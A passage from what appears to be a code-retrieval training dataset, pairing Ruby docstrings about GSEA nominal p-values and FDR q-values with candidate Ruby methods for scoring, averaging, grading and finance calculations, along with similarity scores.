"def ancestor_score\n return NULL_SCORE unless first_letter_match\n sub_word = \"#{reference}\" #dup\n chops = 0\n while sub_word != \"\" do\n chops += 1\n sub_word.chop!\n sub_ref = query[0..sub_word.length - 1]\n break if sub_word == sub_ref\n end\n\n score = ANCESTOR_SCORE / chops\n return score\n end",
"def normalized; end",
"def average_assignment_score\n assignment_average_scores.inject(:+).to_f/num_assignments\n rescue ZeroDivisionError\n 0\n end",
"def average\n if self.critics.size>0\n begin\n self.critics.map{|i| i.score.to_f}.inject{ |sum, el| sum + el }.to_f / self.critics.size.to_f\n rescue\n nil\n end\n end\n end",
"def score_calculator\n unicon_scoring = !EventConfiguration.singleton.artistic_score_elimination_mode_naucc\n ArtisticScoreCalculator.new(@competition, unicon_scoring)\n end",
"def averages(grade_hash)\n grade_hash.transform_values { |marks| marks.inject {|sum, n| sum + n } / marks.length }\nend",
"def formulate_score()\n @player_score = @player_score.sort!().reverse!().join().to_i()\n p \"#{@players[0].get_name}'s score is #{@player_score}\"\n check_score()\n end",
"def formulate_score()\n @player_score = @player_score.sort!().reverse!().join().to_i()\n p \"#{@players_joined[0]}'s score is #{@player_score}\"\n check_score()\n end",
"def update!(**args)\n @image_entities_violence_score = args[:image_entities_violence_score] if args.key?(:image_entities_violence_score)\n @starburst_porn_score = args[:starburst_porn_score] if args.key?(:starburst_porn_score)\n @starburst_violence_score = args[:starburst_violence_score] if args.key?(:starburst_violence_score)\n end",
"def update_score()\r\n @score += GAME_PRESET[\"score_increment\"]\r\n end",
"def assignment_average_score(grade_hash, assignment_num)\n marks = assignment_scores(grade_hash, assignment_num)\n marks.sum / marks.length\nend",
"def averages(grade_hash)\n grade_hash\n .transform_values { |scores| scores.reduce(:+) / scores.length }\nend",
"def averages(grade_hash)\n grade_hash.transform_values{ |num| num.reduce(:+) / num.length }\nend",
"def updated_trust_score(seller)\n 60 + self.trust_score\n end",
"def score\n return nil if scores.count == 0\n average = Hash.new(0)\n scores.each_with_index do |score, num|\n Score::METRICS.each do |metric|\n average[metric] = (average[metric] * num + score.try(metric))/(num + 1.0)\n end\n end\n ret = {score: average}\n return JSON.generate ret\n end",
"def averages(grade_hash)\n grade_hash.transform_values{|nums| nums.reduce(:+) / nums.size}\nend",
"def commitment_score commitment\n \n commitment_score = {}\n activity_count = commitment.activities.count\n \"-------------- #{activity_count} ---------------\"\n commitment.activities.each do |activity|\n @activity = activity.as_json\n @attendance = get_members_attendance(@activity)\n\n @attendance.each do |member, attendance| \n\n if commitment_score[member] && attendance == true\n commitment_score[member] += 100\n elsif commitment_score[member] && attendance == false\n commitment_score[member] += 0\n elsif !commitment_score[member] && attendance == false\n commitment_score[member] = 0\n else \n commitment_score[member] = 100\n end\n\n end\n end\n\n commitment_score.each do |member, attendance|\n commitment_score[member] = attendance / activity_count\n end\n\n return commitment_score\n\n end",
"def calc_modified_average(score_list)\n sum = 0;\n calc_size = score_list.size\n calc_size = (4 + (calc_size-4)/2) if (calc_size > 5)\n\n calc_size.times do |score|\n sum += score_list[score]\n end\n (sum / calc_size)\n end",
"def dealer_score\n dealer_hand.inject(0){|sum,n| sum + n.value }\n end",
"def score\n calculator.score\n end",
"def product_score\n ((carbon_score + water_score.to_i + brand.brand_score) * 10.0) / 12.0\n end",
"def standardize_rating!\n r = per_phase_rating\n STD_KVA_EDITS.each do |nonstandard, standard|\n if r.near? nonstandard\n phases.chars {|ph| self[\"power#{ph}_rating\".to_sym] = '%.1f' % standard}\n self[:power_rating] = '%.1f' % (standard * phase_count) if self[:power_rating]\n break\n end\n end\n end",
"def calculate_popularity_score\n top_guide = (Guide.order_by(\"impressions_field\" => :asc).last)\n at_most = (top_guide.impressions_field || 0).to_i\n normalized = impressions_field.to_f / at_most\n write_attributes(popularity_score: normalized)\n end",
"def cvss_base_score\n @cvss_base_score ||= if @event.at('cvss_base_score')\n @event.at('cvss_base_score').inner_text.to_f\n else\n false\n end\n end",
"def compute_average_grade\n total = 0.0\n self.fcqs.compact.each {|x| next if x.avg_grd == nil; total += x.avg_grd}\n count = courses_taught\n if count == 0\n return 1.0 \n else\n return (total.to_f / count.to_f)\n end\n end",
"def render_score; end",
"def score\n w = 0.3\n time = diff_time()\n sum_goods = goods()\n sum_bads = bads()\n total = sum_goods + sum_bads\n (w * sum_goods * (sum_goods/total.to_f)**3 * (total/time)).floor\n end",
"def overall\n avg = @difficulty = @mood = @teaching_skills = 0.0\n @exams_difficulty = @helpfulness = 0.0\n count = 0 + sections.count\n count = 1 if count.zero?\n sections.each do |section|\n avg += section.professor_overall\n @difficulty += section.professor_difficulty\n @teaching_skills += section.professor_teaching\n @mood += section.professor_mood\n @exams_difficulty += section.professor_exam\n @helpfulness += section.professor_helpfulness\n end\n\n @difficulty /= count\n @teaching_skills /= count\n @mood /= count\n @exams_difficulty /= count\n @helpfulness /= count\n avg / count\n end",
"def final_letter_grades(grade_hash)\n averages = grade_hash.inject({}) { |h, (k,v)| h[k] = letter_grade(v.reduce{|x,n| x += n}/v.length) ; h}\nend",
"def commitment_score commitment\n \n commitment_score = {}\n activity_count = commitment.activities.count\n \"-------------- #{activity_count} ---------------\"\n commitment.activities.each do |activity|\n @activity = activity.as_json\n @attendance = get_members_attendance(@activity)\n\n @attendance.each do |member, attendance| \n if commitment_score[member] && attendance == true\n commitment_score[member] += 100\n elsif commitment_score[member] && attendance == false\n commitment_score[member] += 0\n elsif !commitment_score[member] && attendance == false\n commitment_score[member] = 0\n else \n commitment_score[member] = 100\n end\n end\n end\n\n commitment_score.each do |member, attendance|\n commitment_score[member] = attendance / activity_count\n end\n\n return commitment_score\n\n end",
"def average\n @grades.reduce(0,:+) / @grades.size.to_f\n end",
"def fitness(target)\n score = 0\n @genes.each_with_index do |gene, i|\n score += 1 if target[i] == gene\n end\n score / target.size.to_f\n end",
"def fitness(target)\n score = 0\n @genes.each_with_index do |gene, i|\n score += 1 if target[i] == gene\n end\n score / target.size.to_f\n end",
"def increase_scn_score\n count = voteable.user.scn_score\n count = count + 1\n voteable.user.update_attributes(scn_score: count)\n end"
] | [
"0.6417184",
"0.6146193",
"0.6104649",
"0.6069792",
"0.60307115",
"0.6013973",
"0.6013973",
"0.5964663",
"0.59250635",
"0.5898413",
"0.58573526",
"0.5797411",
"0.578813",
"0.5780196",
"0.57764196",
"0.57284796",
"0.5715652",
"0.5708575",
"0.56797695",
"0.5671094",
"0.566478",
"0.5656012",
"0.5613569",
"0.56083906",
"0.55885506",
"0.5577158",
"0.5555729",
"0.55552816",
"0.5549088",
"0.5542016",
"0.554055",
"0.5536396",
"0.55356824",
"0.55221385",
"0.551967",
"0.5517454",
"0.5517139",
"0.55122685",
"0.55120707",
"0.5489183",
"0.54716086",
"0.54622245",
"0.5448796",
"0.5440363",
"0.5433026",
"0.5429669",
"0.5417736",
"0.5407368",
"0.53989315",
"0.53985786",
"0.53968906",
"0.5396679",
"0.5390653",
"0.5387509",
"0.53690827",
"0.53663856",
"0.5361375",
"0.5357705",
"0.53510463",
"0.53478473",
"0.5347332",
"0.5346504",
"0.533703",
"0.5328998",
"0.5326278",
"0.53245324",
"0.5309927",
"0.5309769",
"0.53077626",
"0.5301968",
"0.529363",
"0.5291573",
"0.5289944",
"0.528646",
"0.52861047",
"0.52844095",
"0.5277401",
"0.5274789",
"0.5273194",
"0.5270477",
"0.5268799",
"0.52675825",
"0.52664006",
"0.52604175",
"0.5258253",
"0.5258191",
"0.52533996",
"0.52473193",
"0.5246396",
"0.5242192",
"0.5240487",
"0.5232899",
"0.5231461",
"0.52264905",
"0.521899",
"0.5218183",
"0.5215964",
"0.52095073",
"0.52091503",
"0.52091503",
"0.52052855"
] | 0.0 | -1 |
NOM pvalue: Nominal p value; that is, the statistical significance of the enrichment score. The nominal p value is not adjusted for gene set size or multiple hypothesis testing; therefore, it is of limited use in comparing gene sets. | def nominal_p_value
@nominal_p_value ||= @fields[5].to_f
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def get_protein_probability(protein_node)\n\n\t\t#MS:1002403\n\t\tis_group_representative=(self.get_cvParam(protein_node,\"MS:1002403\")!=nil)\n\t\tif is_group_representative\n\t\t\treturn \tself.get_cvParam(protein_node.parent,\"MS:1002470\").attributes['value'].to_f*0.01\n\t\telse\n\t\t\treturn 0\n\t\tend\n\tend",
"def p_value(probability, n, m)\n return Float::NAN if n <= 0.0 || m <= 0.0\n\n if n == Float::INFINITY || n == -Float::INFINITY || m == Float::INFINITY || m == -Float::INFINITY\n return 1.0\n end\n\n if n <= m && m > 4e5\n return Distribution::ChiSquare.p_value(probability, n) / n.to_f\n elsif n > 4e5 # thus n > m\n return m.to_f / Distribution::ChiSquare.p_value(1.0 - probability, m)\n else\n # O problema está aqui.\n tmp = Distribution::Beta.p_value(1.0 - probability, m.to_f / 2, n.to_f / 2)\n value = (1.0 / tmp - 1.0) * (m.to_f / n.to_f)\n return value.nan? ? Float::NAN : value\n end\n end",
"def normalDistributionPValue(confidence)\n return Distribution::Normal.p_value(confidence)\n end",
"def propn\n xpos 'NNP'\n end",
"def nper\n z = payment * (1.0 + monthly_rate * ptype) / monthly_rate\n\n Math.log(-future_value + z / (amount + z)) / Math.log(1.0 + monthly_rate)\n end",
"def noi(property)\n property.noi\n end",
"def nose\n @nose ||= Nose.new self[:NOSE_BOTTOM_LEFT],\n self[:NOSE_BOTTOM_CENTER], self[:NOSE_TIP],\n self[:MIDPOINT_BETWEEN_EYES],\n self[:NOSE_BOTTOM_RIGHT]\n end",
"def neginv(b) return \"@SP\\nA=M-1\\nM=\"+b+\"M\\n\" end",
"def noisify_value(value)\n bound = Entropy * value.abs\n noise = Prng.rand(bound)\n noise *= -1 if Prng.rand > 0.5\n\n value + noise\nend",
"def na\n field_fetch('NA')\n end",
"def puppet_value; nil; end",
"def ne(value)\n set_operator_and_value(:ne, value)\n end",
"def nan\n BigDecimal('0')/BigDecimal('0')\n end",
"def estimation_n0(d,prop,margin=0.95)\n t=Distribution::Normal.p_value(1-(1-margin).quo(2))\n var=prop*(1-prop)\n t**2*var.quo(d**2)\n end",
"def get_neg_log(pval)\n if pval == 0\n return 50\n elsif pval == 1\n return 0.0\n else\n return -Math.log10(pval.to_f)\n end\n end",
"def ndp_tgt; self[:ndp_tgt].to_i; end",
"def recommended_value; nil; end",
"def nino=(value)\n @nino = value&.delete(' ')\n end",
"def get_dominant_allele_probability(k, m, n)\r\n poblation = k + m + n\r\n probs = {}\r\n probs[\"mn\"] = ( (m.to_f/poblation)*(n.to_f/(poblation - 1)) + (n.to_f/poblation)*(m.to_f/(poblation -1)) ) * 0.5\r\n probs[\"kn\"] = ( (k.to_f/poblation)*(n.to_f/(poblation - 1)) + (n.to_f/poblation)*(k.to_f/(poblation - 1)) ) * 1\r\n probs[\"km\"] = ( (k.to_f/poblation)*(m.to_f/(poblation - 1)) + (m.to_f/poblation)*(k.to_f/(poblation - 1)) ) * 1\r\n probs[\"kk\"] = ( (k.to_f/poblation)*((k.to_f - 1)/(poblation - 1))) * 1\r\n probs[\"mm\"] = ( (m.to_f/poblation)*((m.to_f - 1)/(poblation - 1))) * 0.75\r\n return (probs.values.sum()).round(5)\r\nend",
"def aceite\n 'N'\n end",
"def npv\n # setup_npv_step calls the back office in order to calculate the npv value on the npv_page\n wizard_step(:returns_lbtt_summary) { { after_merge: :update_tax_calculations } }\n end",
"def nan?\n end",
"def understrain_omnifacial_paroemiac()\n nonsolicitation_manship_podilegous?(unionism)\n end",
"def nan?() end",
"def ppn(what = :dataset)\n runopts_for(:ppn, what)\n end",
"def pov\n default_pov unless @pov\n @pov\n end",
"def npi; end",
"def get_recommended_value\n 'no'\n end",
"def unattended_value\n unattended? ? 'Y' : 'N'\n end",
"def default_value\n return :not_applicable if c100.consent_order? || c100.child_protection_cases?\n\n GenericYesNo::NO\n end",
"def probability=(value)\n @probability = value\n end",
"def nan?\n @special == 'n'\n end",
"def not(value=DEFAULT_VALUE)\n @negated = !@negated\n take_value(value)\n self\n end",
"def ndp_code; self[:ndp_code].to_i; end",
"def percentage_no\n return 0 if no_count == 0\n\n 100 - percentage_yes\n end",
"def percentage_no\n return 0 if no_count == 0\n\n 100 - percentage_yes\n end",
"def set_NCES(value)\n set_input(\"NCES\", value)\n end",
"def set_NCES(value)\n set_input(\"NCES\", value)\n end",
"def set_NCES(value)\n set_input(\"NCES\", value)\n end",
"def set_NCES(value)\n set_input(\"NCES\", value)\n end",
"def set_NCES(value)\n set_input(\"NCES\", value)\n end",
"def set_NCES(value)\n set_input(\"NCES\", value)\n end",
"def set_NCES(value)\n set_input(\"NCES\", value)\n end",
"def mp_on_kill\n (maxmp * features_sum(:mp_on_kill)).to_i\n end",
"def masterwork_prob_bonus; 0; end",
"def pensum_actual\n return Pensum.last\n end",
"def positive_maxima\n return Features.positive_maxima(@data)\n end",
"def normal(p)\n # Must be overriden by subclasses\n end",
"def npo\n\t\tif current_user && current_user.account_type == Account.roles[:npo] || current_admin\n\t\t\ttrue\n\t\telse\n\t\t\tflash[:error] = \"You must log in as a non-profit to view that page!\"\n\t\t\tredirect_to root_url\n\t\tend\n\tend",
"def probability_s=(value)\n @probability_s = value\n end",
"def nucleotide_score\n {\n A: 0,\n C: 0,\n G: 0,\n T: 0\n }\nend",
"def nucleotide_score\n {\n A: 0,\n C: 0,\n G: 0,\n T: 0\n }\nend",
"def probability_s\n return @probability_s\n end",
"def get_psm(psm_node)\n # get peptide evidence list\n pep_ev_raw_lst = psm_node.xpath('.//PeptideEvidenceRef')\n pep_ev_lst = pep_ev_raw_lst.map{|penode| pep_ev_ref_id = penode[\"peptideEvidence_ref\"].to_sym} \n # get cvparams\n cvlst = psm_node.xpath('.//cvParam')\n # find spectral prob\n tmp_lst = cvlst.select{|v| v['name'] == \"MS-GF:SpecEValue\"}\n spec_prob = tmp_lst[0]['value']\n # get peptide\n pep_seq = @pep_h[psm_node['peptide_ref'].to_sym]\n # get spectrum id/ref number\n spec_id = psm_node['id']\n spec_num = spec_id.split(\"_\")[1].to_i\n spec_ref = spec_id.split(\"_\")[-1].to_i\n # \n # store in object\n psm = PSM.new(:spec_num => spec_num, \n :spec_ref => spec_ref, \n :pep => pep_seq, \n :spec_prob => spec_prob.to_f,\n :mods => (@mod_h.has_key?(psm_node['peptide_ref']) ? @mod_h[psm_node['peptide_ref']] : nil),\n :pep_ev => pep_ev_lst)\n end",
"def natural_bonus\n 0\n end",
"def analyze!\n if nova_score_above_threshold?\n APPROVE_VALUE\n else\n DENIAL_VALUE\n end\n end",
"def test_promo_code_negative_value_bug\n # Setup / preverify\n promo = promotions(:fixed_rebate)\n promo_discount = 5000.00\n assert promo.update_attribute(:discount_amount, promo_discount)\n setup_new_order_with_items()\n assert promo.discount_amount > @o.total\n # Exercise\n @o.promotion_code = promo.code\n assert @o.save\n # Verify\n assert @o.total >= 0, \"Order total was: #{@o.total}\"\n end",
"def report_worst_fit\n worst_critter.phenotype.code\n end",
"def normal(p)\n return nil # FIX ME\n end",
"def possessive_pronoun\n return @gender.possessive\n end",
"def conditional_probability\nend",
"def valorvityminp\n\t\tvag=(vitymin * 70) / 100\n vag.round(2)\n end",
"def phat\n @phat ||= 1.0 * positive/total\n end",
"def nanp_format\n strfphone(NANP_FORMAT)\n end",
"def set_Probability(value)\n set_input(\"Probability\", value)\n end",
"def pri_sos\n team_stats.opp_pyth / 50.0 \n end",
"def ir_proteina\n @ir_proteina = (@proteinas/50.to_f)*100\n @ir_proteina.round(1)\n end",
"def change_from_wild_probability\n # TODO: 2+ skips\n has_wild_probability\n end",
"def no_wm=(value)\n write_attribute :no_wm, value.is_a?(String) ? value == '1' : value\n end",
"def override_probability_if_won_or_lost\n unless self.stage.blank?\n self.probability = 100 if self.stage.won?\n self.probability = 0 if self.stage.lost?\n end\n end",
"def unlabeled?() @positive.nil? end",
"def ndp_type; self[:ndp_type].to_i; end",
"def each_psm(use_pbar=nil)\n hit_values = File.open(@mzid_file) do |io|\n doc = Nokogiri::XML.parse(io, nil, nil, Nokogiri::XML::ParseOptions::DEFAULT_XML | Nokogiri::XML::ParseOptions::NOBLANKS | Nokogiri::XML::ParseOptions::STRICT)\n doc.remove_namespaces!\n root = doc.root\n # get list of identifications\n spec_results = root.xpath('//SpectrumIdentificationResult')\n pbar = ProgressBar.new(\"PSMs\", spec_results.size) if use_pbar\n spec_results.each do |sres|\n # \n psms_of_spec = sres.xpath('.//SpectrumIdentificationItem')\n # go over each PSM from the spectra\n psms_of_spec.each do |psm_node|\n # get peptide evidence list\n pep_ev_raw_lst = psm_node.xpath('.//PeptideEvidenceRef')\n pep_ev_lst = pep_ev_raw_lst.map do |penode|\n pep_ev_ref_id = penode[\"peptideEvidence_ref\"]\n @pep_ev_h[pep_ev_ref_id]\n end \n # get cvparams\n cvlst = psm_node.xpath('.//cvParam')\n # find spectral prob\n tmp_lst = cvlst.select{|v| v['name'] == \"MS-GF:SpecEValue\"}\n spec_prob = tmp_lst[0]['value']\n # get peptide\n pep_seq = @pep_h[psm_node['peptide_ref']]\n # get spectrum id/ref number\n spec_id = psm_node['id']\n spec_num = spec_id.split(\"_\")[1].to_i\n spec_ref = spec_id.split(\"_\")[-1].to_i\n # store in object\n psm = PSM.new(:spec_num => spec_num, \n :spec_ref => spec_ref, \n :pep => pep_seq, \n :spec_prob => spec_prob.to_f,\n :mods => (@mod_h.has_key?(psm_node['peptide_ref']) ? @mod_h[psm_node['peptide_ref']] : nil),\n :pep_ev => pep_ev_lst\n )\n # yield psm object\n yield psm\n end\n pbar.inc if use_pbar\n end\n pbar.finish if use_pbar\n end\n end",
"def quality_global_pheromone_at_time(value_of_objective)\n\t# where q = [time=10, cost= 10_000, quality=0.0005]\n\t((1 - GLOBAL_EVAPORATION_RATE) * pheromone_at_t_minus_1) + quality_changed_pheromone(value_of_objective)\nend",
"def probability m, n\r\n\t\t\treturn 1.0 * combination( @p, m ) * combination( @q, ( n - m ) ) / combination( ( @p + @q ), n )\r\n\t\tend",
"def find_value_given_node_no(node_num)\n value_given_node_no_support(node_num)\n end",
"def negation\n attr_val('./@inversionInd') == \"true\"\n end",
"def nonpmc?\n Committee.load_committee_info # ensure data is there\n Committee.nonpmcs.include? self\n end",
"def get_nominee_attribute\n @data.search(\"div.nominee.alt p a:nth-child(2)\").collect { |attribute| attribute.text }\n end",
"def assertNotNilWithMessageTest value, message\n assertNotNil value, message\n end",
"def trimmed_mean_var(p = 0.01)\n self.trim(p).mean_var\n end",
"def probNull(bit)\n if bit == 1\n return @probNullVal\n else #bit == 0\n return @negProbNullVal\n end\nend",
"def is_no(message)\n message == \"n\" || message == \"N\" || message == \"no\" || message == \"No\"\n end",
"def calculate_probability\n calculate_probability ||= if @value.positive?\n 100.0 / (@value + 100)\n else\n [email protected]_f / (100 - @value)\n end\n end",
"def pmc\n @pubmed['PMC'].strip\n end",
"def description_necessity\n\t\t\"#{self.description} to #{self.necessity}\"\n\tend",
"def niveau=(niv)\n\t\traise ArgumentError.new(\"Error : niveau must be positive.\") if niv < 0\n\t\t@niveau= niv\n\tend",
"def estimation_n(d,prop,n_pobl,margin=0.95)\n n0=estimation_n0(d,prop,margin)\n n0.quo( 1 + ((n0 - 1).quo(n_pobl)))\n end",
"def expected_value; end",
"def expected_value; end",
"def valoralmidonp\n\t\tvag=(almidon * 70) / 100\n vag.round(2)\n\tend",
"def assert_nmi_on_perr=(assert_nmi_on_perr)\n validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n unless validator.valid?(assert_nmi_on_perr)\n fail ArgumentError, \"invalid value for \\\"assert_nmi_on_perr\\\", must be one of #{validator.allowable_values}.\"\n end\n @assert_nmi_on_perr = assert_nmi_on_perr\n end",
"def not(msg=nil)\n @negated = !@negated\n @message = msg if msg\n self\n end",
"def no_value()\n warn_deprecated('no_value()', 'aws_no_value()')\n aws_no_value()\n end",
"def pmc\n @pubmed['PMC'].strip\n end",
"def non_negative_float(value, epsilon: nil)\n result = to_float(value) or return\n result unless epsilon ? (result < -epsilon) : result.negative?\n end",
"def new_apnf_rules_for_negated_implication\n end",
"def label() @positive end",
"def not_applicable_count=(value)\n @not_applicable_count = value\n end",
"def commensurably_nemathecium(contentional, arraignment_yeo)\n objectization_underpressure_beautifully()\n adolescent(government)\n end"
] | [
"0.56107986",
"0.55354834",
"0.5495203",
"0.53964394",
"0.53731257",
"0.5365285",
"0.51771814",
"0.50220495",
"0.5021046",
"0.48743036",
"0.48438528",
"0.48422042",
"0.48233116",
"0.48105547",
"0.4800551",
"0.4794564",
"0.47921255",
"0.4788358",
"0.4784487",
"0.47657344",
"0.47409597",
"0.4729747",
"0.47275275",
"0.47196564",
"0.4716315",
"0.47109962",
"0.47003007",
"0.4684874",
"0.46847183",
"0.46798754",
"0.46781656",
"0.4648609",
"0.464824",
"0.4634923",
"0.46296057",
"0.46296057",
"0.46274698",
"0.46274698",
"0.46274698",
"0.46274698",
"0.46274698",
"0.46274698",
"0.46274698",
"0.459879",
"0.4594532",
"0.45890498",
"0.45837322",
"0.45811108",
"0.45795065",
"0.45731115",
"0.45629957",
"0.45629957",
"0.4557232",
"0.45565397",
"0.45493758",
"0.45483285",
"0.45439577",
"0.4539279",
"0.4524678",
"0.45203707",
"0.4517115",
"0.4512255",
"0.45092347",
"0.45079666",
"0.45016453",
"0.45014626",
"0.44980443",
"0.44964048",
"0.44938415",
"0.44916883",
"0.4453873",
"0.4453864",
"0.44506767",
"0.443537",
"0.44235495",
"0.4420357",
"0.44160637",
"0.44145966",
"0.44103974",
"0.44054723",
"0.4405053",
"0.44001496",
"0.43889126",
"0.4388749",
"0.43858254",
"0.43841797",
"0.43824154",
"0.43772253",
"0.43765473",
"0.43765473",
"0.43732244",
"0.4359447",
"0.43564025",
"0.43526953",
"0.4351618",
"0.43472245",
"0.43462157",
"0.43453875",
"0.43412384",
"0.43368766"
] | 0.62969375 | 0 |
FDR qvalue: False discovery rate; that is, the estimated probability that the normalized enrichment score (NES) represents a false positive finding. For example, an FDR of 25% indicates that the result is likely to be valid 3 out of 4 times. | def fdr_q_value
@fdr_q_value ||= @fields[6].to_f
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def fdr(error_rate = 0.0001)\n sequences = self.dna_hash.values\n if sequences.size == 0\n return {}\n else\n seq_count = self.size\n observed_hash = variant_for_poisson(sequences)\n p_unadjusted = []\n observed_hash.each do |k, v|\n p_value = 1 - `Rscript -e \"cat(pbinom(#{k}-1, #{seq_count}, #{error_rate}))\"`.to_f # compute unadjusted exact p-value, ie under null, probability of observing observed_hash[k] or more extreme\n p_unadjusted += Array.new(v, p_value)\n end\n p_fdr = `Rscript -e \"cat(p.adjust(c(#{p_unadjusted.join(',')}), 'fdr'))\"`.split(\"\\s\").count_freq.to_a # controls fdr. aka Benjamini-Hochberg correction\n vars_pair = observed_hash.to_a\n fdr_hash = Hash.new(0)\n (0..(p_fdr.size - 1)).each do |i|\n fdr_hash[vars_pair[i][0]] = p_fdr[i][0].to_f\n end\n return fdr_hash\n end\n end",
"def duty_ratio=(dr_value)\n @duty = dr_value < 1.0 ? dr_value : (dr_value / 100.0)\n\n return unless @period\n\n calc_resistors\n end",
"def anticipated_fixed_payment(present_value, rate, term)\n\t\t((present_value.to_f) / ((1 - (1 - rate.to_f ) ** term ) / rate.to_f )).round(4)\n end",
"def do_rff(fv, sv)\n hf = get_marginal_entropy(fv)\n hs = get_marginal_entropy(sv)\n hfs = get_conditional_entropy(fv, sv)\n \n # symmetrical uncertainty\n 2*(hf-hfs)/(hf+hs)\n end",
"def disbursed_amount_factor\n disbursed_amount.to_f / Country.max_disbursed_amount\n end",
"def fare\n return PENALTY_FARE if penalty?\n return MINIMUM_FARE\n end",
"def perc\n rfd / (rfd + 1)\n end",
"def scanning_error_rate()\n\t\[email protected] do |v| \n\t\t\tnot is_value_compatible_with_at_least_one_rule?(v)\n\t\tend.reduce(:+) || 0\n\tend",
"def standard_deviation_denominator\n (reading_values.length - 1).to_f\n end",
"def q_f(df1, df2, f)\r\n if (f <= 0.0) then return 1.0; end\r\n if (df1 % 2 != 0 && df2 % 2 == 0)\r\n return 1.0 - q_f(df2, df1, 1.0 / f)\r\n end\r\n cos2 = 1.0 / (1.0 + df1.to_f * f / df2.to_f)\r\n sin2 = 1.0 - cos2\r\n \r\n if (df1 % 2 == 0)\r\n prob = cos2 ** (df2.to_f / 2.0)\r\n temp = prob\r\n i = 2\r\n while i < df1\r\n temp *= (df2.to_f + i - 2) * sin2 / i\r\n prob += temp\r\n i += 2\r\n end\r\n return prob\r\n end\r\n prob = Math.atan(Math.sqrt(df2.to_f / (df1.to_f * f)))\r\n temp = Math.sqrt(sin2 * cos2)\r\n i = 3\r\n while i <= df1\r\n prob += temp\r\n temp *= (i - 1).to_f * sin2 / i.to_f;\r\n i += 2.0\r\n end\r\n temp *= df1.to_f\r\n i = 3\r\n while i <= df2\r\n prob -= temp\r\n temp *= (df1.to_f + i - 2) * cos2 / i.to_f\r\n i += 2\r\n end\r\n prob * 2.0 / Math::PI\r\n end",
"def cdf(z_score)\n (0.5 * (1.0 + Math.erf((z_score * 1.0) / Math.sqrt(2))))\n end",
"def undisbursed_amount_factor\n disbursement_remaining.to_f / Country.max_disbursement_remaining\n end",
"def efective_given_nominal_anticipated(nominal_rate, term)\n (((1/((1-((nominal_rate.to_f/100)/term))**term))-1)*100).round(4)\n end",
"def get_inflation_rate()\r\n #assume a inflation rate between 2% and 7%\r\n inflation_rate=(rand(7)*0.01)\r\n if inflation_rate > 0.02\r\n return inflation_rate\r\n else\r\n return 0.02\r\n end\r\nend",
"def efg\n return 0.0 if fg.zero? || fga.zero?\n\n ((fg.to_f + 0.5 * three_p.to_f)/fga).round(3)\n end",
"def autosizedReferenceCondenserFluidFlowRate\n\n return self.model.getAutosizedValue(self, 'Reference Condenser Water Flow Rate', 'm3/s')\n \n end",
"def find_efactor(e_factor, quality)\n e_factor = e_factor + (0.1 - (5 - quality) * (0.08 + (5 - quality) * 0.02))\n [e_factor, 1.3].max\n end",
"def freq(f=false)\n if f\n @dial_freq=f-@carrier\n else\n # If the last time we checked the dial frequency is more than\n # @fexpire seconds ago, re-read the frequency and update the\n # timestamp.\n if Time.now().to_i-@ftime>@fexpire\n @dial_freq=(self.radio_freq()+self.get_carrier()).to_i\n @ftime=Time.now().to_i\n end\n return (@dial_freq+self.get_carrier()).to_i\n end\n end",
"def calculate_easiness_factor(quality)\n easiness_factor + (0.1 - (5 - quality) * (0.08 + (5 - quality) * 0.02))\n end",
"def quality\n return PRECISE unless within_range?\n return ULTRA_PRECISE if standard_deviation < 3.0\n return VERY_PRECISE if standard_deviation < 5.0\n PRECISE\n end",
"def disbursement_percentage\n disbursement_factor * 100\n end",
"def dust_value(card_rarity)\n\t\tcase card_rarity\n\t\twhen \"Free\"\n\t\t\treturn 0\n\t\twhen \"Common\"\n\t\t\treturn 40\n\t\twhen \"Rare\"\n\t\t\treturn 100\n\t\twhen \"Epic\"\n\t\t\treturn 400\n\t\twhen \"Legendary\"\n\t\t\treturn 1600\n\t\tend\n\tend",
"def precision_at_fraction_recall val\n @p.each_index do |i|\n return actual_precision(i) if tpr(i) < val\n end\n 0.0\n end",
"def fudge(stat)\n stat * rand(0.8..1.2)\n end",
"def ship_fedex\n 0.0\n end",
"def get_frac_covered patients, cover\n return 0 if patients.size == 0\n (patients.keys.count { |pat| !(patients[pat]&cover).empty? }.to_f/patients.size).round($d_prec)\nend",
"def farey(value, limit)\n a,b = 0,1\n c,d = 1,1\n\n while (b <= limit) && (d <= limit)\n mediant = Float(a+c)/Float(b+d)\n\n if value > mediant\n a,b = a+c, b+d\n else\n c,d = a+c, b+d\n end\n\n end\n\n (b <= limit) ? [a,b] : [c,d]\nend",
"def update_easiness_factor(quality)\n new_easiness_factor = calculate_easiness_factor(quality)\n # If EF is less than 1.3 then let EF be 1.3\n self.easiness_factor = new_easiness_factor < 1.3 ? 1.3 : new_easiness_factor\n end",
"def disbursement_factor\n approved_amount == 0 ? 0 : disbursed_amount / approved_amount.to_f\n end",
"def sfullness\n staken.to_f/slimit.to_f\n end",
"def annuity_given_future(future_value, interest, term)\n (future_value.to_f * (interest.to_f / ((1 + interest) ** term)-1)).round(4)\n end",
"def calculate_probability(useful_results, reroll_count)\n return 100.0 * useful_results / ( 6 ** reroll_count )\n end",
"def npv(cfs, r)\n npv = 0.0\n r1 = r + 1.0\n trate = r1\n\n cfs.each do |f|\n npv += f / trate\n trate *= r1\n end\n\n return npv\n end",
"def sd\n @sd ||= var ** 0.5\n end",
"def in_fahrenheit\n \t@f ? @f : @c * 9.0 / 5.0 + 32\n end",
"def disbursement_remaining_percentage\n disbursement_remaining_factor * 100\n end",
"def irfibrap\n vag=(valorfibrap * 100) / 50\n vag.round(2)\n end",
"def rate_of_turn\n ret = _i(42, 8) # spec is wrong, we don't use I3\n return nil if ret == -128\n negative = ret < 0\n (ret / 4.733)**2 * (negative ? -1 : 1)\n end",
"def pv(fv, n, r)\n fv*(1.0/((1+r)**n))\nend",
"def present_given_future(future_value, interest, term)\n (future_value.to_f / (1 +interest.to_f) ** term).round(4)\n end",
"def *(float)\n\t\treturn FuzzyVariable.new(@value*float.to_f, @domain)\n\tend",
"def score\n return 0 unless valid?\n 100 * card_value_decimal * 15 ** 5\n end",
"def death_factor \n\n if @population_density >= 200\n 0.4\n elsif @population_density >= 150\n 0.3\n elsif @population_density >= 100\n 0.2\n elsif @population_density >= 50\n 0.1\n else\n 0.05\n end\n end",
